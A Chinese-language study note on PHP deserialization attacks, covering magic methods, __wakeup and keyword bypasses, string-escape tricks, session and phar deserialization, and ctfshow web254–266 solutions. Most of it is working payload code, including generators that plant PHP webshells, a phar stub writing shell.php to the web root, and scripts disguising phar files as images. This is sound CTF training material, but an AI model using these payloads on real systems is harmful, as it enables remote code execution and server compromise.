php反序列化

魔术方法

_construct:实例化对象。$a = new C();

_destruct:对象被销毁/反序列化之后。

_sleep:序列化之前,返回需要序列化的参数,以数组的形式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Person {  
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __sleep() {
return array('name', 'age');
}
}

$person = new Person('张三', 20);
$str = serialize($person);
var_dump($str);

_wakeup:反序列化之前。

_unserialize:反序列化之前。

_toString:把对象当作 string 来调用(echo/print)。

_invoke:把对象当作函数来调用。

_clone:拷贝对象。

_call:调用一个不存在的方法。

_callStatic:调用不存在的方法/常量。C::functionABC()

_get:调用不存在的成员属性。

_set:给不存在的属性赋值。

_isset:给不存在/不可访问的属性使用 empty()/isset()

_unset:给不存在/不可访问的属性使用 unset()(清空变量)

bypassTricks

wakeup的绕过

绕过__wakeup() 反序列化 合集_绕过wakeup-CSDN博客

PHP 7.4.0+

__serialize__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize
__unserialize方法和__wakeup方法同时存在,反序列化忽略__wakeup方法而执行__unserialize

PHP7<7.0.10 && PHP5<5.6.25

image-20250910125703367

C/A代替O绕过

O -> C:但是里面不能有属性,只能执行 _destruct

1
2
3
4
5
6
7
8
9
10
11
//exp
<?php

class ctfshow{
public $ctfshow="cat /f*";
}

$a = new ArrayObject;
$a -> a = new ctfshow;

echo serialize($a);

数组绕过,也可以绕过 O -> A

但是对 php 版本有要求,要低版本的。

Fast Destruct 绕过

详见 Fast Destruct。

引用绕过

  • 先进 wakeup 清理值,然后再进其他的 destruct 来引用赋值。(参加 laravel 历史漏洞)

  • 绕过 rand

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    class B
    {
    public $command;
    public $guess;
    public $random_number;

    public function __call($method, $args)
    {
    // You will get it eventually
    for ($i = 0; $i < 100; $i++) {
    $this->guess = rand();
    if ($this->guess !== $this->random_number) {
    echo "Incorrect guess: " . $this->guess . "<br>";
    return;
    }
    }
    eval($this->command);
    }
    }

Fast Destruct

P1

unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。这种情况只需要破坏原先的字符串格式即可,比如去掉最后的大括号。

description:

1
2
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?')

P2

通常执行顺序是从内向外的wakeup & 从外向内的destruct,Fast Destruct可以用来后置执行wakeup

1
2
3
unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{};}');
unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}');
unserialize('O:1:"A":2:{s:1:"b";O:1:"B":0:{}}');

image-20251202183238081

可以看到__wakeup被放到后面执行了,也就是__destruct()函数被提前执行了

关键词绕过

preg_match('/^O:\d+/')绕过

数字前加加号。

进制绕过

表示字符类型的s大写时,会被当成16进制解析。

1
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';

__PHP__Incomplete_Class 绕过

详见下文。

__PHP_Incomplete_Class的tricks

例题:【Web】LilCTF2025 WP(随便看看-CSDN博客

绕过 serialize(unserialize(x))!=x

serialize() 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作:

__PHP_Incomplete_Class 对象中的属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。
__PHP_Incomplete_Class 对象的 __PHP_Incomplete_Class_Name 作为序列化文本中 对象所属类的描述值。若未从 __PHP_Incomplete_Class 对象 中检查到 __PHP_Incomplete_Class_Name 属性,则跳过此步。
__PHP_Incomplete_Class 对象的序列化文本中对 __PHP_Incomplete_Class_Name 属性的描述删去。若没有发现相关描述,则跳过此步。

1
2
3
4
5
6
<?php
var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));

# string(85) "O:22:"__PHP_Incomplete_Class":1:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

2-1=1

绕法:

1
2
3
4
5
6
<?php
var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));

# string(69) "O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

# 对象的 __PHP_Incomplete_Class_Name 的 属性值 myClass -> 类的描述值 并删去 __PHP_Incomplete_Class_Name 这个属性

绕过关键词检测

如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字。

绕过匹配反序列化数组

数组字母键名绕过 i 匹配

1
2
3
4
5
6
7
8
class A{
public $a = "12345";
public function __destruct(){
echo "destruct is calling";
}
}
$b = ["a"=>new A(),"b"=>"b"];
echo serialize($b);

stdclass 绕过

1
var_dump(unserialize('O:8:"stdClass":2:{s:1:"a";O:1:"A":1:{s:1:"a";s:5:"12345";}s:1:"b";s:1:"b";}'));

SplStack绕过正则匹配

1
2
3
$d = new SplStack();
$d ->push($a);
echo serialize($d);

序列化闭包

DASCTF2022.07赋能赛Web赛后WP - 枫のBlog

对于 php,配置好 composer.json 文件之后,可以通过composer install来下载第三方依赖。其中各种第三方依赖以及插件都会被自动放置在vendor文件夹下,我们可以通过包含vendor/autoload.php文件来自动引入所需依赖文件。

PHP5.3 之后,引入了函数闭包这个语法(又称匿名函数)。通过闭包我们能够声明一个没有名字的函数,并将其赋值给一个变量。我们也可以通过回调函数来调用闭包。

普通反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$func = function($b){
return $b**$b;
};

try{
$s = serialize($func);
var_dump($s);
}catch (Exception $e){
echo $e;
}

image-20251125185636220

可见这里闭包就是一个 Closure 类并且不能被序列化,需要用 \Opis\Closure\ 中的 serialize,会将原本的Closure类包装成Opis\Closure\SerializableClosure类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("vendor/autoload.php");

$func = function(){
system("whoami");
return 0;
};

try{
$s = \Opis\Closure\serialize($func);
$s=unserialize($s);
call_user_func($s);
$s();
var_dump($s);
}catch (Exception $e){
echo $e;
}

反序列化引用其他文件中的类

如果当前反序列化后当前php文件没有该类,会报Notice Error,反序列化失败。

这时候需要借助spl_autoload_register进行autoload

1
2
3
4
function myAutoLoader($classname){
include_once $classname.".php";
}
spl_autoload_register("myAutoloader");

将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。

CTFshow

web254

payload:?username=xxxxxx&password=xxxxxx

web255

不二次赋值的按照原参数的值。

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ctfShowUser{

public $isVip = true;
public $username = "xxxxxx";
public $password = "xxxxxx";
}
$C = new ctfShowUser();
echo serialize($C);
$S = 'O:11:"ctfShowUser":3:{s:5:"isVip";b:1;s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"yyyyyy";}';
$CC = unserialize($S);
print_r($CC);
$S = 'O:11:"ctfShowUser":2:{s:5:"isVip";b:1;s:8:"username";s:6:"xxxxxx";}';
$CC = unserialize($S);
print_r($CC);
?>

web256

username 不等于 password 就好。

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/



class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = "info";

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code = "system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}


$a = serialize(new ctfShowUser());
echo $a;
echo "<br>";
$a = urlencode($a);
echo $a;

web258

1
$a = str_replace("O:","O:+",$a);

web260

字符串被反序列化后仍是本身。

cftshow=ctfshow_i_love_36D

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct(){
$this->username="877.php";
$this->password="<?php eval(\$_GET[1]);?>";
}
// public function __wakeup(){
// if($this->username!='' || $this->password!=''){
// die('error');
// }
// }
// public function __invoke(){
// eval($this->code);
// }

// public function __sleep(){
// $this->username='';
// $this->password='';
// }
// public function __unserialize($data){
// $this->username=$data['username'];
// $this->password=$data['password'];
// $this->code = $this->username.$this->password;
// }
// public function __destruct(){
// if($this->code==0x36d){
// file_put_contents($this->username, $this->password);
// }
// }
}

$a = serialize(new ctfshowvip());
echo $a;
$a = urlencode($a);
echo "<br>";
echo $a;
?>

记得 \_$GET[1] 加转义。

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

// if(isset($_COOKIE['msg'])){
// $msg = unserialize(base64_decode($_COOKIE['msg']));
// if($msg->token=='admin'){
// echo $flag;
// }
// }
$a = base64_encode(serialize(new message("","","")));
echo $a;

web263

前置知识

session 反序列化

php键名|序列化后的值(默认的是这样的)

php_serialize:经过序列化后得数组。

php_binary:键名长度对应的 ascii 字符 + 键名 + 序列化后的值。

常常用带 | 分割,使得前面是键名,后面是序列化后的值,使得进行反序列化,从而调用魔术方法。

Session 区分原理

Session 常常存储在 tmp 目录下以 PHPSESSID=XXXXXXXXXXX 的 cookie 值做区分,因而提交时务必先获取 cookie ,从而存储 COOKIE 中字段为 Session ,产生反序列化。

如本题代码:

1
2
3
4
5
6
7
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

inc.php中有一句ini_set('session.serialize_handler', 'php');
所以大胆猜测 php.ini 中配置的处理器应该是 php_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}

$a = "|".serialize(new User("8.php","<?php eval(\$_GET[1]);?>"));
echo $a;
echo "<br>";
$a = base64_encode($a);
echo $a;

先访问 index.php 获取 PHPSESSID,再通过 PHPSESSIDLIMIT 字段构建存储,最后调用 /inc/inc.php ,来实现反序列化,写马。

web264

字符串逃逸增多

$umsg = str_replace('fuck', 'loveU', serialize($msg));

字符串在增加,那么我们只需要把一部分嵌入进去,然后替换时字符增加,自动把 loveU 顶上去,导致这个属性结束,从而往下解析,得到结果。

举个例子:

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

在这里,to 属性的值就是长度为 27(后面挤出来的部分:";s:5:"token";s:5:"admin";}) + 108fuck * 36)= 135

这样我们在替换后就变成:

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:136:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";},此时恰好在 loveU 后闭合,后面按照预期解析,完成字符串逃逸,最后那些解析结束,自动舍去。

payload:

https://06c54ed8-ba7a-44d4-abab-67a59fed63b2.challenge.ctf.show/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D

字符串逃逸减少
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function filter($name){
return str_replace("flag","hk",$name);
}
class test{
var $user;
var $pass;
var $vip = false;
function __construct($a,$b){
$this->user = $a;
$this->pass = $b;
}
}
$str1 = "flagflagflagflagflagflagflagflagflagflag";
$str2 = "xxxx";
$parm= serialize(new test($str1,$str2));
echo $parm."<br>";
$parm = filter($parm);
echo $parm."<br>";
$c = unserialize('O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:23:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}');
var_dump($c);

这里我们发现 flag 被替换为了 hk ,少了两个字符。我们先看一下两个 flag 的输出。

1
2
O:4:"test":3:{s:4:"user";s:4:"xxxx";s:4:"pass";s:8:"flagflag";s:3:"vip";b:0;}
O:4:"test":3:{s:4:"user";s:4:"xxxx";s:4:"pass";s:8:"hkhk";s:3:"vip";b:0;}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
O:4:"test":3:{s:4:"user";s:16:"hkhkhkhk";s:4:"pass";s:xx:"xxxx";s:3:"vip";b:0;}

要逃逸的字符串:

";s:4:"pass";s:xx:"

19,所以至少需要10个fuck


O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:xx:"xxxx";s:3:"vip";b:0;}

我们把 xxxx 替换为 1";s:4:"pass";s:4:"xxxx


O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:xx:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}

填好对应长度

O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:23:"1";s:4:"pass";s:4:"xxxx";s:3:"vip";b:0;}

此时得到答案:

1
2
$str1 = "flagflagflagflagflagflagflagflagflagflag";
$str2 = '1";s:4:"pass";s:4:"xxxx';
字符串逃逸例题

先放源码吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

这里明显看到有逻辑问题,没登录的话就 die 掉了,但是实际上他只 echo 了一下就向下执行了,这不得不就往里看看了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(error_level: 0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

哦看到了一个序列化 加 反序列化,还有 filter,显然字符串逃逸,但是这个逃逸不是逃逸出来一个之前那种字符串属性,而是逃逸出来一个类。

那就很简单了,增多减少肯定选增多,那就用 union 逃逸就完了。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

function filter($parm){
$array= array('union','regexp','load','into','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

class C1{
public $arg1;
public function __construct($arg1){
$this->arg1 = $arg1;
}

public function __destruct(){
echo "destruct is doing things.".PHP_EOL;
}
}

class C2{
public $arg1;
public $arg2;
}


$c2 = new C2();

for ($i = 1; $i <= 53; $i++) {
$c2->arg1 .= "union";
}

$c2->arg1 .= '";s:4:"arg2";O:2:"C1":1:{s:4:"arg1";s:8:"flag.php";}}';
$c2->arg2 = "qwqqwq";
$c2s = serialize($c2);
echo $c2s.PHP_EOL;
$c2s = filter($c2s);
echo $c2s.PHP_EOL;

$c2su = unserialize($c2s);

var_dump($c2su);

web265

地址传参:

$C->token = &$C->password;

token 跟随 password 改变。

web266

payload:O:7:"ctfshow":2:{s:8:"username";s:2:"xx";s:8:"password";s:22:"xx";}

类名正确但是解析失败的情况下会调用该类名下的 _destruct 方法。

GC回收机制

类似于:每个变量在内存中都有一个引用计数器,每当有变量引用该内存块时,计数器加一;当变量不再引用时,计数器减一。当计数器变为0时,该内存块被释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
new gc(1);
$b=new gc(2);
new gc(4);
$c=new gc(3);

下面代码,可以看到第一个gc对象,创建完就被回收了,因为没被其它变量引用,它的refcount一开始就是0,而其他,到最后执行结束,先实例化的后 destruct

最后结果:

1
2
3
4
5
6
7
8
construct(1)
destruct(1)
construct(2)
construct(4)
destruct(4)
construct(3)
destruct(3)
destruct(2)

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class RELFLAG {

public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}

function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}

if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}

我们为了避免多次触发 construct 方法,并且多次触发 destruct 方法,我们实例化但是不赋值,因而它自己 constructdestruct 之后,只会触发 destruct 方法,造成 flag>5

payload: unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

Phar反序列化

组成部分

  • 头文件

  • mainfest 这里存在序列化后的子字符串。

  • 内容

  • 签名

phar使用条件

伪协议 phar://xxx(文件名)

phar 文件能上传到服务端,不要求后缀,识别时按照头文件信息识别。

反序列化能触发的魔术方法:_destruct/_wakeup

存在文件操作函数 file_exists,fopen,file_get_contents

image-20251205093403652

phar生成代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class TestObject{
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o->name="hacker";
$phar->setMetadata($o);
$phar->addFromString("exp.txt","exp");//生成签名的参数可以随便填
$phar->stopBuffering();
?>

过头文件检测方法

1
2
3
4
5
6
7
8
import gzip

with open('phar.phar', 'rb') as file:
f = file.read()

newf = gzip.compress(f)
with open('aaaaa.png', 'wb') as file:#更改文件后缀
file.write(newf)

image-20250910231137152image-20250910231139751

附上本地测试环境代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class TestObject{
var $S;
function __destruct(){
// echo "123";
eval($this->S);
}
function __wakeup(){
// echo "123";
eval($this->S);
}
}

// $C = var_dump(file_exists("phar://phar.phar"));
$C = var_dump(file_exists("phar://aaaaa.png"));

// echo $C;


// eval('system("whoami");');



<?php
class TestObject{
var $S;
function __construct(){
$this->S = 'system("whoami");';
}
function __destruct(){
eval($S);
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
var_dump($o);
$phar->setMetadata($o);
$phar->addFromString("exp.txt","exp");
$phar->stopBuffering();
?>

include 配合 phar 进行 RCE

include 函数会判断文件是否能包含 .phar (不一定是后缀),如果包含且是压缩包,会进行解压,从而找到 php 代码进行 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

gzip exploit.phar

修改 phar 内容后重新签名

1
2
3
4
5
6
7
from hashlib import sha1

f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixed_phar.phar', 'wb').write(newf) # 写入新文件